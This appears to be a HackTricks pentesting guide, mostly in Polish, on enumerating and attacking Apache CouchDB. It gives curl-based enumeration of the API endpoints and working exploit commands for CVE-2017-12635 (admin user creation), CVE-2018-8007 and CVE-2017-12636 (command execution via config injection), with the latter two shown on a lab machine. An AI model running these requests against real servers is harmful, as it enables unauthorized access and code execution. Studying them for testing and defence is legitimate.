5984,6984 - Pentesting CouchDB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

CouchDB to wszechstronna i potężna baza danych zorientowana na dokumenty, która organizuje dane za pomocą struktury mapy klucz-wartość wewnątrz każdego dokumentu. Pola wewnątrz dokumentu mogą być reprezentowane jako pary klucz/wartość, listy lub mapy, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.

Każdemu dokumentowi przechowywanemu w CouchDB przypisywany jest unikalny identyfikator (_id) na poziomie dokumentu. Ponadto, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje numer rewizji (_rev). Numer tej rewizji umożliwia efektywne śledzenie i zarządzanie zmianami, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.

Domyślny port: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatyczne wyliczanie

CouchDB jest bazą danych NoSQL, która może być podatna na różne ataki. Przed przystąpieniem do testowania penetracyjnego CouchDB, warto przeprowadzić automatyczne wyliczanie, aby zidentyfikować dostępne zasoby i potencjalne luki w zabezpieczeniach.

Nmap

Nmap jest popularnym narzędziem do skanowania sieci, które może być używane do wykrywania otwartych portów i usług na hoście. Możemy użyć Nmap do skanowania portów CouchDB, aby sprawdzić, czy serwer CouchDB jest dostępny.

nmap -p 5984 <adres_IP>

CouchDB Fauxton

CouchDB Fauxton to interfejs użytkownika dostępny w przeglądarce, który umożliwia zarządzanie bazą danych CouchDB. Możemy użyć Fauxtona do automatycznego wyliczania dostępnych baz danych i dokumentów.

http://<adres_IP>:5984/_utils/

CouchDB API

CouchDB udostępnia API, które umożliwia interakcję z bazą danych za pomocą żądań HTTP. Możemy użyć API, aby automatycznie wyliczyć dostępne bazy danych, dokumenty i widoki.

GET http://<adres_IP>:5984/_all_dbs
GET http://<adres_IP>:5984/<nazwa_bazy_danych>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/<id_dokumentu>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/_design/<nazwa_widoku>/_view/<nazwa_widoku>

CouchDB-Lucene

CouchDB-Lucene to rozszerzenie, które umożliwia pełnotekstowe wyszukiwanie w bazie danych CouchDB. Możemy użyć CouchDB-Lucene do automatycznego wyliczania dostępnych indeksów i wyszukiwań.

http://<adres_IP>:5984/_fti/

CouchDB-Enum

CouchDB-Enum to narzędzie napisane w języku Python, które automatycznie wylicza dostępne bazy danych, dokumenty i widoki w bazie danych CouchDB.

python couchdb-enum.py <adres_IP>

Automatyczne wyliczanie jest ważnym krokiem podczas testowania penetracyjnego CouchDB, ponieważ pomaga zidentyfikować potencjalne luki w zabezpieczeniach i dostępne zasoby, które mogą być wykorzystane podczas ataku.

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Baner

CouchDB exposes a banner that can provide useful information about the version and configuration of the server. This information can be obtained by sending a GET request to the root URL of the CouchDB server.

GET /

The response will include the server banner, which typically includes the version number and other details.

Version Detection

CouchDB version detection can be performed by analyzing the server banner or by sending a GET request to the _utils endpoint.

GET /_utils/

The response will include the version number of CouchDB.

Database Enumeration

To enumerate the databases hosted on a CouchDB server, send a GET request to the _all_dbs endpoint.

GET /_all_dbs

The response will include a list of all the databases on the server.

Document Enumeration

To enumerate the documents within a specific database, send a GET request to the _all_docs endpoint.

GET /<database_name>/_all_docs

The response will include a list of all the documents within the specified database.

User Enumeration

To enumerate the users registered on a CouchDB server, send a GET request to the _users endpoint.

GET /_users

The response will include a list of all the registered users.

View Enumeration

To enumerate the views defined within a specific database, send a GET request to the _design/<design_document>/_view endpoint.

GET /<database_name>/_design/<design_document>/_view

The response will include a list of all the views defined within the specified database.

Replication Enumeration

To enumerate the replications configured on a CouchDB server, send a GET request to the _replicator endpoint.

GET /_replicator

The response will include a list of all the configured replications.

Privilege Enumeration

To enumerate the privileges assigned to users on a CouchDB server, send a GET request to the _security endpoint.

GET /_security

The response will include information about the privileges assigned to users.

Cluster Enumeration

To enumerate the nodes in a CouchDB cluster, send a GET request to the _membership endpoint.

GET /_membership

The response will include information about the nodes in the cluster.

curl http://IP:5984/

To wywołuje żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej tak jak jedno z poniższych:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Zauważ, że jeśli dostęp do głównego katalogu couchdb otrzymasz 401 Unauthorized z czymś takim jak to: {"error":"unauthorized","reason":"Authentication required."} nie będziesz w stanie uzyskać dostępu do baneru ani żadnego innego punktu końcowego.

Wyliczanie informacji

Oto punkty końcowe, do których można uzyskać dostęp za pomocą żądania GET i wyodrębnić pewne interesujące informacje. Możesz znaleźć więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb.

  • /_active_tasks Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.

  • /_all_dbs Zwraca listę wszystkich baz danych w instancji CouchDB.

  • /_cluster_setup Zwraca stan węzła lub klastra zgodnie z kreatora konfiguracji klastra.

  • /_db_updates Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych _global_changes jest wymagane do korzystania z tego punktu końcowego.

  • /_membership Wyświetla węzły, które są częścią klastra jako cluster_nodes. Pole all_nodes wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.

  • /_scheduler/jobs Lista zadań replikacji. Każdy opis zadania będzie zawierał informacje o źródle i celu, identyfikatorze replikacji, historii ostatnich zdarzeń i kilku innych rzeczach.

  • /_scheduler/docs Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach completed i failed. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel, oraz inne informacje.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Punktem końcowym /_node/{node-name} można potwierdzić nazwę węzła Erlang serwera przetwarzającego żądanie. Jest to najbardziej przydatne podczas dostępu do /_node/_local w celu pobrania tych informacji.

  • /_node/{node-name}/_stats Zasób _stats zwraca obiekt JSON zawierający statystyki działającego serwera. Dosłowny ciąg znaków _local służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, {node-name} można zastąpić _local, aby działać na statystykach lokalnego węzła.

  • /_node/{node-name}/_system Zasób _system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu działającego serwera_._ Możesz użyć ___local jako {node-name} aby uzyskać informacje o bieżącym węźle.

  • /_node/{node-name}/_restart

  • /_up Potwierdza, że serwer jest uruchomiony, działa i gotowy do odpowiedzi na żądania. Jeśli maintenance_mode jest true lub nolb, punkt końcowy zwróci odpowiedź 404.

  • /_uuids Wysyła żądanie o jedno lub więcej unikalnych identyfikatorów UUID z instancji CouchDB.

  • /_reshard Zwraca liczbę ukończonych, nieudanych, uruchomionych, zatrzymanych i wszystkich zadań wraz ze stanem przeprowadzania operacji resharding na klastrze.

Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: https://lzone.de/cheat-sheet/CouchDB

Lista baz danych

curl -X GET http://IP:5984/_all_dbs

Jeśli żądanie odpowiada 401 unauthorised, to potrzebujesz poprawnych danych uwierzytelniających, aby uzyskać dostęp do bazy danych:

curl -X GET http://user:password@IP:5984/_all_dbs

Aby znaleźć prawidłowe dane uwierzytelniające, można spróbować przeprowadzić atak brutalnej siły.

Poniżej znajduje się przykład odpowiedzi couchdb, gdy masz wystarczające uprawnienia do wyświetlania listy baz danych (to tylko lista baz danych):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informacje o bazie danych

Możesz uzyskać pewne informacje o bazie danych (takie jak liczba plików i rozmiary) poprzez dostęp do nazwy bazy danych:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista dokumentów

Wypisz każdy wpis wewnątrz bazy danych

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Odczytaj dokument

Odczytaj zawartość dokumentu wewnątrz bazy danych:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Eskalacja uprawnień w CouchDB CVE-2017-12635

Dzięki różnicom między parserami JSON w Erlangu i JavaScript można utworzyć użytkownika admina o danych uwierzytelniających hacktricks:hacktricks za pomocą następującego żądania:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Więcej informacji na temat tej luki znajdziesz tutaj.

CouchDB RCE

Przykład stąd.

W dokumentacji CouchDB, konkretnie w sekcji dotyczącej konfiguracji klastra (link), omawiane jest wykorzystanie portów przez CouchDB w trybie klastra. Wspomina się, że, podobnie jak w trybie samodzielnym, używany jest port 5984. Dodatkowo, port 5986 jest przeznaczony dla lokalnych interfejsów API węzła, a co ważne, Erlang wymaga portu TCP 4369 dla Erlang Port Mapper Daemon (EPMD), który umożliwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.

Podkreślono istotne zalecenie dotyczące portu 4369. Jeśli ten port jest dostępny przez Internet lub jakąkolwiek niewiarygodną sieć, bezpieczeństwo systemu w dużej mierze zależy od unikalnego identyfikatora znanego jako "cookie". To cookie działa jako zabezpieczenie. Na przykład, w danym procesie można zauważyć cookie o nazwie "monster", co wskazuje na jego rolę w ramach struktury zabezpieczeń systemu.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Dla zainteresowanych zrozumieniem, jak można wykorzystać "cookie" do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Szczegółowo opisuje ona metody wykorzystywania plików cookie Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz zapoznać się z szczegółowym przewodnikiem dotyczącym nadużywania plików cookie Erlang do RCE tutaj.

Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini

Przykład stąd.

Zbadano niedawno ujawnioną podatność, CVE-2018-8007, dotyczącą Apache CouchDB, która ujawniła, że ​​do jej wykorzystania wymagane są uprawnienia do zapisu pliku local.ini. Chociaż nie jest to bezpośrednio zastosowalne do początkowego systemu docelowego ze względu na ograniczenia bezpieczeństwa, dokonano modyfikacji w celu przyznania dostępu do zapisu pliku local.ini w celach badawczych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, które ilustrują ten proces.

Najpierw przygotowuje się środowisko, upewniając się, że plik local.ini jest zapisywalny, co można zweryfikować, wyświetlając uprawnienia:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Aby wykorzystać podatność, wykonuje się polecenie curl, które jest skierowane na konfigurację cors/origins w pliku local.ini. Wstrzykuje to nowe źródło wraz z dodatkowymi poleceniami w sekcji [os_daemons], mającym na celu wykonanie dowolnego kodu:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w local.ini, porównując ją z kopią zapasową, aby uwidocznić zmiany:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Początkowo oczekiwany plik (/tmp/0xdf) nie istnieje, co wskazuje, że wstrzyknięta komenda nie została jeszcze wykonana. Dalsze dochodzenie ujawnia, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie może wykonać wstrzykniętą komendę:

root@canape:/home/homer/bin# ps aux | grep couch

Poprzez zakończenie zidentyfikowanego procesu CouchDB i umożliwienie systemowi automatycznego ponownego uruchomienia, zostaje uruchomione wykonanie wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

To badanie potwierdza możliwość wykorzystania CVE-2018-8007 w określonych warunkach, zwłaszcza wymagane jest uprawnienie do zapisu pliku local.ini. Przedstawione przykłady kodu i kroki proceduralne oferują jasny przewodnik po replikacji ataku w kontrolowanym środowisku.

Aby uzyskać więcej szczegółów na temat CVE-2018-8007, odwołaj się do komunikatu firmy mdsec: CVE-2018-8007.

Badanie CVE-2017-12636 z uprawnieniami do zapisu w local.ini

Przykład stąd.

Zbadano podatność znana jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż określone konfiguracje mogą uniemożliwić jej wykorzystanie. Pomimo dostępności wielu przykładów Proof of Concept (POC) online, konieczne są dostosowania, aby wykorzystać podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Pierwsze kroki polegają na sprawdzeniu wersji CouchDB i potwierdzeniu braku oczekiwanej ścieżki serwerów zapytań.

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Aby dostosować się do wersji CouchDB 2.0, używana jest nowa ścieżka:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Próby dodania i wywołania nowego serwera zapytań napotkały błędy związane z uprawnieniami, o czym świadczy poniższy wynik:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Dalsze dochodzenie wykazało problemy z uprawnieniami pliku local.ini, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku za pomocą dostępu root lub homer, możliwe stało się kontynuowanie:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Następne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdzają brak komunikatów o błędach w odpowiedzi. Pomyślna modyfikacja pliku local.ini została potwierdzona poprzez porównanie plików:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Proces kontynuowano poprzez utworzenie bazy danych i dokumentu, a następnie próbę wykonania kodu za pomocą niestandardowego mapowania widoku do nowo dodanego serwera zapytań:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:

Shodan

  • port:5984 couchdb

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated